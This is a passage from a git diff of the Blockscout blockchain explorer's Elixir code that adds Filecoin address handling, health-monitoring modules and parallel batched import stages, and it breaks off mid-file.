%Explorer.Chain.Filecoin.NativeAddress{ + ...> protocol_indicator: 4, + ...> actor_id: 10, + ...> payload: <<0, 94, 2, 164, 169, 52, 20, 45, 141, 212, 118, 241, 146, 208, 221, 156, 56, 27, 22, 180>>, + ...> checksum: <<60, 137, 107, 165>> + ...> } + ...> ) + "f410fabpafjfjgqkc3douo3yzfug5tq4bwfvuhsewxji" + """ + @spec to_string(t) :: String.t() + def to_string(%__MODULE__{protocol_indicator: 0, payload: payload}) do + {id, <<>>} = LEB128.decode(payload) + network_prefix() <> "0" <> Integer.to_string(id) + end + + @spec to_string(t) :: String.t() + def to_string(%__MODULE__{ + protocol_indicator: protocol_indicator, + payload: payload, + actor_id: actor_id, + checksum: checksum + }) do + payload_with_checksum = + Base.encode32( + payload <> checksum, + case: :lower, + padding: false + ) + + protocol_indicator_part = + protocol_indicator + |> case do + indicator when indicator in @standard_protocol_indicators -> + Integer.to_string(indicator) + + 4 -> + "4" <> Integer.to_string(actor_id) <> "f" + end + + network_prefix() <> protocol_indicator_part <> payload_with_checksum + end + + defp verify_checksum(%__MODULE__{protocol_indicator: 0, checksum: nil}), do: :ok + + defp verify_checksum(%__MODULE__{checksum: checksum} = address) + when not is_nil(checksum) do + with {:ok, bytes} <- dump(address), + ^checksum <- to_checksum(bytes) do + :ok + else + _ -> :error + end + end + + defp to_checksum(bytes), + do: Blake2.hash2b(bytes, @checksum_bytes_count) + + defimpl String.Chars do + def to_string(hash) do + @for.to_string(hash) + end + end + + defimpl Poison.Encoder do + def encode(hash, options) do + hash + |> to_string() + |> BitString.encode(options) + end + end + + defimpl Jason.Encoder do + alias Jason.Encode + + def encode(hash, opts) do + hash + |> to_string() + |> Encode.string(opts) + end + end +end diff --git a/apps/explorer/lib/explorer/chain/filecoin/pending_address_operation.ex b/apps/explorer/lib/explorer/chain/filecoin/pending_address_operation.ex new file mode 100644 index 000000000000..6db214a8bd6e --- /dev/null +++ b/apps/explorer/lib/explorer/chain/filecoin/pending_address_operation.ex @@ -0,0 +1,85 @@ +defmodule Explorer.Chain.Filecoin.PendingAddressOperation do + @moduledoc """ + Tracks an address that is pending for fetching of filecoin address info. + """ + + use Explorer.Schema + + import Explorer.Chain, only: [add_fetcher_limit: 2] + alias Explorer.Chain.{Address, Hash} + alias Explorer.Repo + + @required_attrs ~w(address_hash)a + @optional_attrs ~w(refetch_after)a + + @attrs @optional_attrs ++ @required_attrs + + @typedoc """ + * `address_hash` - the hash of the address that is pending to be fetched. + * `refetch_after` - the time when the address should be refetched. + """ + @primary_key false + typed_schema "filecoin_pending_address_operations" do + belongs_to(:address, Address, + foreign_key: :address_hash, + references: :hash, + type: Hash.Address, + primary_key: true + ) + + field(:refetch_after, :utc_datetime_usec) + + timestamps() + end + + @spec changeset( + t(), + :invalid | %{optional(:__struct__) => none(), optional(atom() | binary()) => any()} + ) :: Ecto.Changeset.t() + def changeset(%__MODULE__{} = pending_ops, attrs) do + pending_ops + |> cast(attrs, @attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:address_hash, name: :filecoin_pending_address_operations_address_hash_fkey) + |> unique_constraint(:address_hash, name: :filecoin_pending_address_operations_pkey) + end + + @doc """ + Returns a query for pending operations that have never been fetched. + """ + @spec fresh_operations_query() :: Ecto.Query.t() + def fresh_operations_query do + from(p in __MODULE__, where: is_nil(p.refetch_after)) + end + + @doc """ + Checks if a pending operation exists for a given address hash. + """ + @spec exists?(t()) :: boolean() + def exists?(%__MODULE__{address_hash: address_hash}) do + query = + from( + op in __MODULE__, + where: op.address_hash == ^address_hash + ) + + Repo.exists?(query) + end + + @doc """ + Returns a stream of pending operations. + """ + @spec stream( + initial :: accumulator, + reducer :: (entry :: term(), accumulator -> accumulator), + limited? :: boolean() + ) :: {:ok, accumulator} + when accumulator: term() + def stream(initial, reducer, limited? \\ false) + when is_function(reducer, 2) do + fresh_operations_query() + |> order_by([op], desc: op.address_hash) + |> add_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) + end +end diff --git a/apps/explorer/lib/explorer/chain/hash.ex b/apps/explorer/lib/explorer/chain/hash.ex index 64e67aabec6c..255861c0d697 100644 --- a/apps/explorer/lib/explorer/chain/hash.ex +++ b/apps/explorer/lib/explorer/chain/hash.ex @@ -121,7 +121,7 @@ defmodule Explorer.Chain.Hash do """ @spec to_integer(t()) :: pos_integer() def to_integer(%__MODULE__{byte_count: byte_count, bytes: bytes}) do - <> = bytes + <> = bytes integer end @@ -153,7 +153,7 @@ defmodule Explorer.Chain.Hash do def to_iodata(%__MODULE__{byte_count: byte_count} = hash) do integer = to_integer(hash) hexadecimal_digit_count = byte_count_to_hexadecimal_digit_count(byte_count) - unprefixed = :io_lib.format('~#{hexadecimal_digit_count}.16.0b', [integer]) + unprefixed = :io_lib.format(~c"~#{hexadecimal_digit_count}.16.0b", [integer]) ["0x", unprefixed] end diff --git a/apps/explorer/lib/explorer/chain/hash/address.ex b/apps/explorer/lib/explorer/chain/hash/address.ex index 930774ee5944..f37db26dee9d 100644 --- a/apps/explorer/lib/explorer/chain/hash/address.ex +++ b/apps/explorer/lib/explorer/chain/hash/address.ex @@ -169,9 +169,9 @@ defmodule Explorer.Chain.Hash.Address do @spec validate(String.t()) :: {:ok, String.t()} | {:error, :invalid_length | :invalid_characters | :invalid_checksum} def validate("0x" <> hash) do with {:length, true} <- {:length, String.length(hash) == 40}, - {:hex, true} <- {:hex, is_hex?(hash)}, - {:mixed_case, true} <- {:mixed_case, is_mixed_case?(hash)}, - {:checksummed, true} <- {:checksummed, is_checksummed?(hash)} do + {:hex, true} <- {:hex, hex?(hash)}, + {:mixed_case, true} <- {:mixed_case, mixed_case?(hash)}, + {:checksummed, true} <- {:checksummed, checksummed?(hash)} do {:ok, "0x" <> hash} else {:length, false} -> @@ -188,16 +188,16 @@ defmodule Explorer.Chain.Hash.Address do end end - @spec is_hex?(String.t()) :: boolean() - defp is_hex?(hash) do + @spec hex?(String.t()) :: boolean() + defp hex?(hash) do case Regex.run(~r|[0-9a-f]{40}|i, hash) do nil -> false [_] -> true end end - @spec is_mixed_case?(String.t()) :: boolean() - defp is_mixed_case?(hash) do + @spec mixed_case?(String.t()) :: boolean() + defp mixed_case?(hash) do upper_check = ~r|[0-9A-F]{40}| lower_check = ~r|[0-9a-f]{40}| @@ -209,8 +209,8 @@ defmodule Explorer.Chain.Hash.Address do end end - @spec is_checksummed?(String.t()) :: boolean() - defp is_checksummed?(original_hash) do + @spec checksummed?(String.t()) :: boolean() + defp checksummed?(original_hash) do lowercase_hash = String.downcase(original_hash) sha3_hash = ExKeccak.hash_256(lowercase_hash) @@ -224,15 +224,15 @@ defmodule Explorer.Chain.Hash.Address do <> = sha3_hash <> = address_hash - if is_proper_case?(checksum_digit, current_char) do + if proper_case?(checksum_digit, current_char) do do_checksum_check(remaining_sha3_hash, remaining_address_hash) else false end end - @spec is_proper_case?(integer, String.t()) :: boolean() - defp is_proper_case?(checksum_digit, character) do + @spec proper_case?(integer, String.t()) :: boolean() + defp proper_case?(checksum_digit, character) do case_map = %{ "0" => :both, "1" => :both, diff --git a/apps/explorer/lib/explorer/chain/hash/full.ex b/apps/explorer/lib/explorer/chain/hash/full.ex index eb8ae148dd3a..db2a586bd770 100644 --- a/apps/explorer/lib/explorer/chain/hash/full.ex +++ b/apps/explorer/lib/explorer/chain/hash/full.ex @@ -90,7 +90,7 @@ defmodule Explorer.Chain.Hash.Full do ...> ) {:ok, <<0x9fc76417374aa880d4449a1f7f31ec597f00b1f6f3dd2d66f4c9c6c445836d8b :: big-integer-size(32)-unit(8)>>} - If the field from the struct is an incorrect format such as `t:Explorer.Chain.Address.Hash.t/0`, `:error` is returned. + If the field from the struct is an incorrect format such as `t:Explorer.Chain.Hash.Address.t/0`, `:error` is returned. iex> Explorer.Chain.Hash.Full.dump( ...> %Explorer.Chain.Hash{ diff --git a/apps/explorer/lib/explorer/chain/health/helper.ex b/apps/explorer/lib/explorer/chain/health/helper.ex new file mode 100644 index 000000000000..82d4e44de5e9 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/health/helper.ex @@ -0,0 +1,245 @@ +defmodule Explorer.Chain.Health.Helper do + @moduledoc """ + Helper functions for /api/health endpoints + """ + + import Ecto.Query, + only: [ + from: 2 + ] + + alias Explorer.Chain.Block + alias Explorer.Chain.Cache.Blocks, as: BlocksCache + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Repo + + @max_blocks_gap_between_node_and_db 20 + @no_new_items_error_code 5001 + @no_items_error_code 5002 + + @doc """ + Fetches the status of the last block in the database. + + This function queries the database for the most recent block that has consensus. + It returns a tuple indicating the status of the block: + - `{:ok, block_number, timestamp}` if the block is found and is recent. + - `{:stale, block_number, timestamp}` if the block is found but is considered stale. + - `{:error, reason}` if there is an error in fetching the block. + + ## Examples + + iex> last_db_block_status() + {:ok, 123456, ~U[2023-10-01 12:34:56Z]} + + iex> last_db_block_status() + {:stale, 123456, ~U[2023-09-01 12:34:56Z]} + + iex> last_db_block_status() + {:error, :not_found} + + """ + @spec last_db_block_status() :: + {:ok, non_neg_integer(), DateTime.t()} | {:stale, non_neg_integer(), DateTime.t()} | {:error, atom} + def last_db_block_status do + last_db_block() + |> block_status() + end + + @spec last_db_block() :: + {non_neg_integer(), DateTime.t()} | nil + def last_db_block do + query = + from(block in Block, + select: {block.number, block.timestamp}, + where: block.consensus == true, + order_by: [desc: block.number], + limit: 1 + ) + + query + |> Repo.one() + end + + @doc """ + Retrieves the last cached block from the chain. + + ## Returns + + - A tuple containing the block number (non-negative integer) and the `DateTime` of the block. + - `nil` if no blocks are found. + + ## Examples + + iex> Explorer.Chain.Health.Helper.last_cache_block() + {123456, ~U[2023-10-05 14:30:00Z]} + + """ + @spec last_cache_block() :: + {non_neg_integer(), DateTime.t()} | nil + def last_cache_block do + 1 + |> BlocksCache.atomic_take_enough() + |> case do + [%{timestamp: timestamp, number: number}] -> + {number, timestamp} + + nil -> + nil + end + end + + @doc """ + Determines the status of a block based on its timestamp. + + ## Parameters + + - `block_info`: A tuple containing the block number and its timestamp, or `nil`. + + ## Returns + + - `{:ok, non_neg_integer(), DateTime.t()}` if the block is within the healthy period. + - `{:stale, non_neg_integer(), DateTime.t()}` if the block is outside the healthy period. + - `{:error, atom}` if the input is `nil`. + + The healthy period is defined by the `:healthy_blocks_period` configuration in the `:explorer` application for `Explorer.Chain.Health.Monitor` module. + """ + @spec block_status({non_neg_integer(), DateTime.t()} | nil) :: + {:ok, non_neg_integer(), DateTime.t()} | {:stale, non_neg_integer(), DateTime.t()} | {:error, atom} + def block_status({number, timestamp}) do + now = DateTime.utc_now() + last_block_period = DateTime.diff(now, timestamp, :millisecond) + + if last_block_period > Application.get_env(:explorer, Explorer.Chain.Health.Monitor)[:healthy_blocks_period] do + {:stale, number, timestamp} + else + {:ok, number, timestamp} + end + end + + def block_status(nil), do: {:error, :no_blocks} + + @doc """ + Fetches and returns the latest Blockscout indexing health data. + + This function retrieves multiple values related to the latest block indexing health from the `LastFetchedCounter` module. The keys for the values are: + - "health_latest_block_number_from_cache" + - "health_latest_block_timestamp_from_cache" + - "health_latest_block_number_from_db" + - "health_latest_block_timestamp_from_db" + - "health_latest_block_number_from_node" + - "health_latest_batch_number_from_db", + - "health_latest_batch_timestamp_from_db" + - "health_latest_batch_average_time_from_db" + + The retrieved values are then reduced into a map with the following keys: + - `:health_latest_block_number_from_db` + - `:health_latest_block_timestamp_from_db` + - `:health_latest_block_number_from_cache` + - `:health_latest_block_timestamp_from_cache` + - `:health_latest_block_number_from_node` + - `:health_latest_batch_number_from_db` + - `:health_latest_batch_timestamp_from_db` + - `:health_latest_batch_average_time_from_db` + + Each key in the map is assigned the corresponding value fetched from the `LastFetchedCounter`. + + ## Returns + - A map containing the latest block indexing health data. + """ + @spec get_indexing_health_data() :: map() + def get_indexing_health_data do + values = + LastFetchedCounter.get_multiple([ + "health_latest_block_number_from_cache", + "health_latest_block_timestamp_from_cache", + "health_latest_block_number_from_db", + "health_latest_block_timestamp_from_db", + "health_latest_block_number_from_node", + "health_latest_batch_number_from_db", + "health_latest_batch_timestamp_from_db", + "health_latest_batch_average_time_from_db" + ]) + + values + |> Enum.reduce( + %{ + health_latest_block_number_from_db: nil, + health_latest_block_timestamp_from_db: nil, + health_latest_block_number_from_cache: nil, + health_latest_block_timestamp_from_cache: nil, + health_latest_block_number_from_node: nil, + health_latest_batch_number_from_db: nil, + health_latest_batch_timestamp_from_db: nil, + health_latest_batch_average_time_from_db: nil + }, + fn {key, value}, acc -> + Map.put(acc, String.to_existing_atom(key), value) + end + ) + end + + @spec blocks_indexing_healthy?(map() | nil) :: boolean() | {boolean(), non_neg_integer(), binary()} + def blocks_indexing_healthy?(nil), do: true + + def blocks_indexing_healthy?(health_status) do + if health_status[:health_latest_block_timestamp_from_db] do + last_block_db_delay = get_last_item_delay(health_status, :health_latest_block_timestamp_from_db) + + blocks_indexing_delay_threshold = + Application.get_env(:explorer, Explorer.Chain.Health.Monitor)[:healthy_blocks_period] + + with true <- last_block_db_delay > blocks_indexing_delay_threshold, + {:empty_health_latest_block_number_from_node, false} <- + {:empty_health_latest_block_number_from_node, is_nil(health_status.health_latest_block_number_from_node)}, + true <- + Decimal.compare( + Decimal.sub( + health_status.health_latest_block_number_from_node, + health_status.health_latest_block_number_from_db + ), + Decimal.new(@max_blocks_gap_between_node_and_db) + ) == :gt do + no_new_block_status(last_block_db_delay) + else + {:empty_health_latest_block_number_from_node, true} -> no_new_block_status(last_block_db_delay) + _ -> true + end + else + {false, @no_items_error_code, "There are no blocks in the DB."} + end + end + + defp no_new_block_status(last_block_db_delay) do + {false, @no_new_items_error_code, + "There are no new blocks in the DB for the last #{round(last_block_db_delay / 1_000 / 60)} mins. Check the healthiness of the JSON RPC archive node or the DB."} + end + + @spec batches_indexing_healthy?(map() | nil) :: boolean() | {boolean(), non_neg_integer(), binary()} + def batches_indexing_healthy?(nil), do: true + + def batches_indexing_healthy?(health_status) do + if health_status[:health_latest_batch_timestamp_from_db] do + last_batch_db_delay = get_last_item_delay(health_status, :health_latest_batch_timestamp_from_db) + + batches_indexing_delay_threshold = + Application.get_env(:explorer, Explorer.Chain.Health.Monitor)[:healthy_batches_period] + + if last_batch_db_delay > batches_indexing_delay_threshold do + {false, @no_new_items_error_code, + "There are no new batches in the DB for the last #{round(last_batch_db_delay / 1_000 / 60)} mins."} + else + true + end + else + {false, @no_items_error_code, "There are no batches in the DB."} + end + end + + defp get_last_item_delay(health_status, item_timestamp_key) do + {:ok, latest_item_timestamp} = + DateTime.from_unix(Decimal.to_integer(health_status[item_timestamp_key])) + + now = DateTime.utc_now() + DateTime.diff(now, latest_item_timestamp, :millisecond) + end +end diff --git a/apps/explorer/lib/explorer/chain/health/monitor.ex b/apps/explorer/lib/explorer/chain/health/monitor.ex new file mode 100644 index 000000000000..5cdb25080989 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/health/monitor.ex @@ -0,0 +1,168 @@ +defmodule Explorer.Chain.Health.Monitor do + @moduledoc """ + This module provides functionality for monitoring of the application health. + Currently, it includes monitoring of blocks and batches indexing status. + """ + use GenServer + import Ecto.Query, only: [from: 2] + import EthereumJSONRPC, only: [quantity_to_integer: 1] + alias EthereumJSONRPC.Utility.EndpointAvailabilityChecker + alias Explorer.Chain.Arbitrum.Reader.Common, as: ArbitrumReaderCommon + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Chain.Health.Helper, as: HealthHelper + alias Explorer.Chain.Optimism.Reader, as: OptimismReader + alias Explorer.Chain.PolygonZkevm.Reader, as: PolygonZkevmReader + alias Explorer.Chain.Scroll.Reader, as: ScrollReader + alias Explorer.Chain.ZkSync.Reader, as: ZkSyncReader + alias Explorer.Repo + + def start_link(_) do + GenServer.start_link(__MODULE__, %{}, name: __MODULE__) + end + + @impl true + def init(state) do + schedule_work() + {:ok, state} + end + + @impl true + def handle_info(:work, state) do + perform_work() + schedule_work() + {:noreply, state} + end + + defp schedule_work do + Process.send_after(self(), :work, Application.get_env(:explorer, __MODULE__)[:check_interval]) + end + + defp perform_work do + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + + now = DateTime.utc_now() + + db_and_cache_params = + with {latest_block_number_from_db, latest_block_timestamp_from_db} <- HealthHelper.last_db_block(), + {latest_block_number_from_cache, latest_block_timestamp_from_cache} <- + HealthHelper.last_cache_block() do + [ + counter("health_latest_block_number_from_db", latest_block_number_from_db, now, now), + counter( + "health_latest_block_timestamp_from_db", + DateTime.to_unix(latest_block_timestamp_from_db), + now, + now + ), + counter("health_latest_block_number_from_cache", latest_block_number_from_cache, now, now), + counter( + "health_latest_block_timestamp_from_cache", + DateTime.to_unix(latest_block_timestamp_from_cache), + now, + now + ) + ] + else + _ -> + [] + end + + base_params = maybe_add_block_from_node_to_params?(db_and_cache_params, json_rpc_named_arguments, now) + + batch_info = + case Application.get_env(:explorer, :chain_type) do + :arbitrum -> + get_latest_batch_info_from_module(ArbitrumReaderCommon) + + :zksync -> + get_latest_batch_info_from_module(ZkSyncReader) + + :optimism -> + get_latest_batch_info_from_module(OptimismReader) + + :polygon_zkevm -> + get_latest_batch_info_from_module(PolygonZkevmReader) + + :scroll -> + get_latest_batch_info_from_module(ScrollReader) + + _ -> + nil + end + + params = + if batch_info do + base_params ++ + [ + counter("health_latest_batch_number_from_db", batch_info.number, now, now), + counter("health_latest_batch_timestamp_from_db", DateTime.to_unix(batch_info.timestamp), now, now), + counter("health_latest_batch_average_time_from_db", batch_info.average_batch_time, now, now) + ] + else + base_params + end + + Repo.insert_all(LastFetchedCounter, params, + on_conflict: on_conflict(), + conflict_target: [:counter_type] + ) + end + + defp maybe_add_block_from_node_to_params?(params, json_rpc_named_arguments, now) do + case EndpointAvailabilityChecker.fetch_latest_block_number(json_rpc_named_arguments) do + {:ok, latest_block_number_from_node} -> + [ + counter( + "health_latest_block_number_from_node", + quantity_to_integer(latest_block_number_from_node), + now, + now + ) + | params + ] + + _ -> + params + end + end + + defp counter(counter_type, value, inserted_at, updated_at) do + %{ + counter_type: counter_type, + value: value, + inserted_at: inserted_at, + updated_at: updated_at + } + end + + defp on_conflict do + from( + last_fetched_counter in LastFetchedCounter, + update: [ + set: [ + value: fragment("EXCLUDED.value"), + updated_at: fragment("EXCLUDED.updated_at") + ] + ] + ) + end + + defp get_latest_batch_info_from_module(module) do + case module.get_latest_batch_info(api?: true) do + {:ok, + %{ + latest_batch_number: latest_batch_number, + latest_batch_timestamp: latest_batch_timestamp, + average_batch_time: average_batch_time + }} -> + %{ + number: latest_batch_number, + timestamp: latest_batch_timestamp, + average_batch_time: average_batch_time + } + + _ -> + nil + end + end +end diff --git a/apps/explorer/lib/explorer/chain/import.ex b/apps/explorer/lib/explorer/chain/import.ex index b3aa19ac423f..690c0a2dd806 100644 --- a/apps/explorer/lib/explorer/chain/import.ex +++ b/apps/explorer/lib/explorer/chain/import.ex @@ -4,20 +4,35 @@ defmodule Explorer.Chain.Import do """ alias Ecto.Changeset + alias Explorer.Account.Notify alias Explorer.Chain.Events.Publisher - alias Explorer.Chain.Import + alias Explorer.Chain.{Block, Import} + alias Explorer.Chain.Import.Stage alias Explorer.Repo + require Logger + @stages [ - Import.Stage.Addresses, - Import.Stage.AddressReferencing, - Import.Stage.BlockReferencing, - Import.Stage.BlockFollowing, - Import.Stage.BlockPending + [ + Import.Stage.Blocks + ], + [ + Import.Stage.Addresses, + Import.Stage.Main + ], + [ + Import.Stage.BlockTransactionReferencing, + Import.Stage.TokenReferencing, + Import.Stage.TokenInstances, + Import.Stage.Logs, + Import.Stage.InternalTransactions, + Import.Stage.ChainTypeSpecific + ] ] - # in order so that foreign keys are inserted before being referenced - @runners Enum.flat_map(@stages, fn stage -> stage.runners() end) + @all_runners Enum.flat_map(@stages, fn stage_batch -> + Enum.flat_map(stage_batch, fn stage -> stage.all_runners() end) + end) quoted_runner_option_value = quote do @@ -25,7 +40,7 @@ defmodule Explorer.Chain.Import do end quoted_runner_options = - for runner <- @runners do + for runner <- @all_runners do quoted_key = quote do optional(unquote(runner.option_key())) @@ -41,7 +56,7 @@ defmodule Explorer.Chain.Import do } quoted_runner_imported = - for runner <- @runners do + for runner <- @all_runners do quoted_key = quote do optional(unquote(runner.option_key())) @@ -66,7 +81,9 @@ defmodule Explorer.Chain.Import do # milliseconds @transaction_timeout :timer.minutes(4) - @imported_table_rows @runners + @max_import_concurrency 10 + + @imported_table_rows @all_runners |> Stream.map(&Map.put(&1.imported_table_row(), :key, &1.option_key())) |> Enum.map_join("\n", fn %{ key: key, @@ -75,7 +92,7 @@ defmodule Explorer.Chain.Import do } -> "| `#{inspect(key)}` | `#{value_type}` | #{value_description} |" end) - @runner_options_doc Enum.map_join(@runners, fn runner -> + @runner_options_doc Enum.map_join(@all_runners, fn runner -> ecto_schema_module = runner.ecto_schema_module() """ @@ -120,17 +137,58 @@ defmodule Explorer.Chain.Import do milliseconds. #{@runner_options_doc} """ - @spec all(all_options()) :: all_result() + # @spec all(all_options()) :: all_result() def all(options) when is_map(options) do with {:ok, runner_options_pairs} <- validate_options(options), {:ok, valid_runner_option_pairs} <- validate_runner_options_pairs(runner_options_pairs), {:ok, runner_to_changes_list} <- runner_to_changes_list(valid_runner_option_pairs), {:ok, data} <- insert_runner_to_changes_list(runner_to_changes_list, options) do + Notify.async(data[:transactions]) Publisher.broadcast(data, Map.get(options, :broadcast, false)) {:ok, data} end end + @doc """ + Prepares a bulk import transaction without executing it. + + This function follows the same validation steps as `all/1` but instead of executing the transaction, + it returns the prepared `Ecto.Multi` struct. This allows the caller to compose the transaction with + additional operations before executing it. + + ## Parameters + + - `runners`: List of runner modules to prepare the multi for + - `options`: The import options map (same structure as in `all/1`) + + ## Returns + + - `{:ok, multi}` - The prepared transaction that can be executed later + - `{:error, [Changeset.t()]}` - Validation errors for the provided options + - `{:error, {:unknown_options, map()}}` - Unknown options were provided + """ + @spec all_single_multi([module()], all_options()) :: + {:ok, Ecto.Multi.t()} + | {:error, [Changeset.t()]} + | {:error, {:unknown_options, map()}} + def all_single_multi(runners, options) do + with {:ok, runner_options_pairs} <- validate_options(options), + {:ok, valid_runner_option_pairs} <- validate_runner_options_pairs(runner_options_pairs), + {:ok, runner_to_changes_list} <- runner_to_changes_list(valid_runner_option_pairs) do + timestamps = timestamps() + full_options = Map.put(options, :timestamps, timestamps) + {multi, _remaining_runner_to_changes_list} = Stage.single_multi(runners, runner_to_changes_list, full_options) + {:ok, multi} + end + end + + defp configured_runners do + # in order so that foreign keys are inserted before being referenced + Enum.flat_map(@stages, fn stage_batch -> + Enum.flat_map(stage_batch, fn stage -> stage.runners() end) + end) + end + defp runner_to_changes_list(runner_options_pairs) when is_list(runner_options_pairs) do runner_options_pairs |> Stream.map(fn {runner, options} -> runner_changes_list(runner, options) end) @@ -184,7 +242,8 @@ defmodule Explorer.Chain.Import do local_options = Map.drop(options, @global_options) {reverse_runner_options_pairs, unknown_options} = - Enum.reduce(@runners, {[], local_options}, fn runner, {acc_runner_options_pairs, unknown_options} = acc -> + Enum.reduce(configured_runners(), {[], local_options}, fn runner, + {acc_runner_options_pairs, unknown_options} = acc -> option_key = runner.option_key() case local_options do @@ -277,9 +336,11 @@ defmodule Explorer.Chain.Import do timestamps = timestamps() full_options = Map.put(options, :timestamps, timestamps) - {multis, final_runner_to_changes_list} = - Enum.flat_map_reduce(@stages, runner_to_changes_list, fn stage, remaining_runner_to_changes_list -> - stage.multis(remaining_runner_to_changes_list, full_options) + {multis_batches, final_runner_to_changes_list} = + Enum.map_reduce(@stages, runner_to_changes_list, fn stage_batch, remaining_runner_to_changes_list -> + Enum.flat_map_reduce(stage_batch, remaining_runner_to_changes_list, fn stage, inner_remaining_list -> + stage.multis(inner_remaining_list, full_options) + end) end) unless Enum.empty?(final_runner_to_changes_list) do @@ -287,7 +348,7 @@ defmodule Explorer.Chain.Import do "No stages consumed the following runners: #{final_runner_to_changes_list |> Map.keys() |> inspect()}" end - multis + multis_batches end def insert_changes_list(repo, changes_list, options) when is_atom(repo) and is_list(changes_list) do @@ -299,7 +360,7 @@ defmodule Explorer.Chain.Import do repo.safe_insert_all( ecto_schema_module, timestamped_changes_list, - Keyword.delete(options, :for) + Keyword.drop(options, [:for, :fields_to_update]) ) {:ok, inserted} @@ -317,19 +378,34 @@ defmodule Explorer.Chain.Import do runner_to_changes_list |> runner_to_changes_list_to_multis(options) |> logged_import(options) + |> case do + {:ok, result} -> + {:ok, result} + + error -> + handle_partially_imported_blocks(options) + error + end + rescue + exception -> + handle_partially_imported_blocks(options) + reraise exception, __STACKTRACE__ end - defp logged_import(multis, options) when is_list(multis) and is_map(options) do + defp logged_import(multis_batches, options) when is_list(multis_batches) and is_map(options) do import_id = :erlang.unique_integer([:positive]) - Explorer.Logger.metadata(fn -> import_transactions(multis, options) end, import_id: import_id) + Explorer.Logger.metadata(fn -> import_batch_transactions(multis_batches, options) end, import_id: import_id) end - defp import_transactions(multis, options) when is_list(multis) and is_map(options) do - Enum.reduce_while(multis, {:ok, %{}}, fn multi, {:ok, acc_changes} -> - case import_transaction(multi, options) do - {:ok, changes} -> {:cont, {:ok, Map.merge(acc_changes, changes)}} - {:error, _, _, _} = error -> {:halt, error} + defp import_batch_transactions(multis_batches, options) when is_list(multis_batches) and is_map(options) do + Enum.reduce_while(multis_batches, {:ok, %{}}, fn multis, {:ok, acc_changes} -> + multis + |> run_parallel_multis(options) + |> handle_task_results(acc_changes) + |> case do + {:ok, changes} -> {:cont, {:ok, changes}} + error -> {:halt, error} end end) rescue @@ -340,10 +416,41 @@ defmodule Explorer.Chain.Import do end end + defp run_parallel_multis(multis, options) do + Task.async_stream(multis, fn multi -> import_transaction(multi, options) end, + timeout: :infinity, + max_concurrency: @max_import_concurrency + ) + end + defp import_transaction(multi, options) when is_map(options) do Repo.logged_transaction(multi, timeout: Map.get(options, :timeout, @transaction_timeout)) + rescue + exception -> {:exception, exception, __STACKTRACE__} end + defp handle_task_results(task_results, acc_changes) do + Enum.reduce_while(task_results, {:ok, acc_changes}, fn task_result, {:ok, acc_changes_inner} -> + case task_result do + {:ok, {:ok, changes}} -> {:cont, {:ok, Map.merge(acc_changes_inner, changes)}} + {:ok, {:exception, exception, stacktrace}} -> reraise exception, stacktrace + {:ok, error} -> {:halt, error} + {:exit, reason} -> {:halt, reason} + nil -> {:halt, :timeout} + end + end) + end + + defp handle_partially_imported_blocks(%{blocks: %{params: blocks_params}}) do + block_numbers = Enum.map(blocks_params, & &1.number) + Block.set_refetch_needed(block_numbers) + Import.Runner.Blocks.process_blocks_consensus(blocks_params) + + Logger.warning("Set refetch_needed for partially imported block because of error: #{inspect(block_numbers)}") + end + + defp handle_partially_imported_blocks(_options), do: :ok + @spec timestamps() :: timestamps def timestamps do now = DateTime.utc_now() diff --git a/apps/explorer/lib/explorer/chain/import/runner.ex b/apps/explorer/lib/explorer/chain/import/runner.ex index 402cb23acd87..d8a8ff20f222 100644 --- a/apps/explorer/lib/explorer/chain/import/runner.ex +++ b/apps/explorer/lib/explorer/chain/import/runner.ex @@ -12,7 +12,7 @@ defmodule Explorer.Chain.Import.Runner do @typedoc """ Validated changes extracted from a valid `Ecto.Changeset` produced by the `t:changeset_function_name/0` in - `c:ecto_schemma_module/0`. + `c:ecto_schema_module/0`. """ @type changes :: %{optional(atom) => term()} @@ -22,7 +22,7 @@ defmodule Explorer.Chain.Import.Runner do @type changes_list :: [changes] @type changeset_function_name :: atom - @type on_conflict :: :nothing | :replace_all | Ecto.Query.t() + @type on_conflict :: :nothing | :replace_all | {:replace, [atom()]} | Ecto.Query.t() @typedoc """ Runner-specific options under `c:option_key/0` in all options passed to `c:run/3`. @@ -31,7 +31,8 @@ defmodule Explorer.Chain.Import.Runner do required(:params) => [map()], optional(:on_conflict) => on_conflict(), optional(:timeout) => timeout, - optional(:with) => changeset_function_name() + optional(:with) => changeset_function_name(), + optional(:fields_to_update) => [atom()] } @doc """ diff --git a/apps/explorer/lib/explorer/chain/import/runner/address/coin_balances.ex b/apps/explorer/lib/explorer/chain/import/runner/address/coin_balances.ex index f2967ec06a63..b75ae6c2488e 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/address/coin_balances.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/address/coin_balances.ex @@ -10,6 +10,7 @@ defmodule Explorer.Chain.Import.Runner.Address.CoinBalances do alias Ecto.{Changeset, Multi, Repo} alias Explorer.Chain.Address.CoinBalance alias Explorer.Chain.{Block, Hash, Import, Wei} + alias Explorer.Prometheus.Instrumenter @behaviour Import.Runner @@ -44,7 +45,12 @@ defmodule Explorer.Chain.Import.Runner.Address.CoinBalances do |> Map.put(:timestamps, timestamps) Multi.run(multi, :address_coin_balances, fn repo, _ -> - insert(repo, changes_list, insert_options) + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :address_referencing, + :coin_balances, + :address_coin_balances + ) end) end @@ -88,7 +94,7 @@ defmodule Explorer.Chain.Import.Runner.Address.CoinBalances do timestamps: timestamps ) - {:ok, Enum.map(ordered_changes_list, &Map.take(&1, ~w(address_hash block_number)a))} + {:ok, Enum.map(ordered_changes_list, &Map.take(&1, ~w(address_hash block_number value)a))} end def default_on_conflict do diff --git a/apps/explorer/lib/explorer/chain/import/runner/address/coin_balances_daily.ex b/apps/explorer/lib/explorer/chain/import/runner/address/coin_balances_daily.ex index 7d1a091984b0..e610ed3c81d9 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/address/coin_balances_daily.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/address/coin_balances_daily.ex @@ -10,6 +10,7 @@ defmodule 